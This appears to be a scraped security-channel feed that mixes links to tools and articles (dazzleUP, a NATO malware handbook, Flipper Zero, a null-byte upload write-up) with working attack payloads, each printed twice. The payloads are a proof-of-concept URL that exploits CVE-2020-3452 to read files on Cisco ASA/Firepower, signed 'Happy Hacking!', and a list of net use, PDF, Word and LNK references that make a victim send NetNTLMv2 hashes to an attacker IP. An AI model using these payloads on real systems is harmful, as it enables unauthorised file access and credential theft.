GitHub - Q4n/CVE-2020-1362: writeup of CVE-2020-1362
https://github.com/Q4n/CVE-2020-1362
https://github.com/Q4n/CVE-2020-1362
GitHub - hlldz/dazzleUP: A tool that detects the privilege escalation vulnerabilities caused by misconfigurations and missing updates in the Windows operating systems.
https://github.com/hlldz/dazzleUP
https://github.com/hlldz/dazzleUP
GitHub
GitHub - hlldz/dazzleUP: A tool that detects the privilege escalation vulnerabilities caused by misconfigurations and missing updates…
A tool that detects the privilege escalation vulnerabilities caused by misconfigurations and missing updates in the Windows operating systems. - hlldz/dazzleUP
Here is POC of CVE-2020-3452, unauthenticated file read in Cisco ASA & Cisco Firepower.
For example to read "/+CSCOE+/portal_inc.lua" file.
https://<domain>/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../
Happy Hacking!
For example to read "/+CSCOE+/portal_inc.lua" file.
https://<domain>/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../
Happy Hacking!
NATO releases Malware Analysis primer
https://ccdcoe.org/library/publications/malware-reverse-engineering-handbook/
https://ccdcoe.org/library/publications/malware-reverse-engineering-handbook/
Malware_Reverse_Engineering_Handbook.pdf
4.8 MB
Malware_Reverse_Engineering_Handbook.pdf
Flipper Zero — Tamagochi for Hackers by Flipper Devices Inc. — Kickstarter
https://www.kickstarter.com/projects/flipper-devices/flipper-zero-tamagochi-for-hackers
https://www.kickstarter.com/projects/flipper-devices/flipper-zero-tamagochi-for-hackers
Kickstarter
Flipper Zero — Multitool for Hackers
Open source multi-tool device for researching and pentesting radio protocols, access control systems, hardware, and more.
“Exploiting File Upload using Null byte” by Gupta Bless https://link.medium.com/VfjDpqmfD8
Medium
Exploiting File Upload using Null byte
In my previous blog related to FILE upload, I already discussed some basic techniques to bypass whitelisting of file extensions. Now in…
You can steal NetNTLMv2 by changing SMB port:
net use \\IP@80\t
or pdf : /F (\\\\IP@80\\t)
or subdoc : ///IP@80/t
or doc: Target="file://IP@80/t.dotx"
or lnk: URL=file://IP@80/t.htm
net use \\IP@80\t
or pdf : /F (\\\\IP@80\\t)
or subdoc : ///IP@80/t
or doc: Target="file://IP@80/t.dotx"
or lnk: URL=file://IP@80/t.htm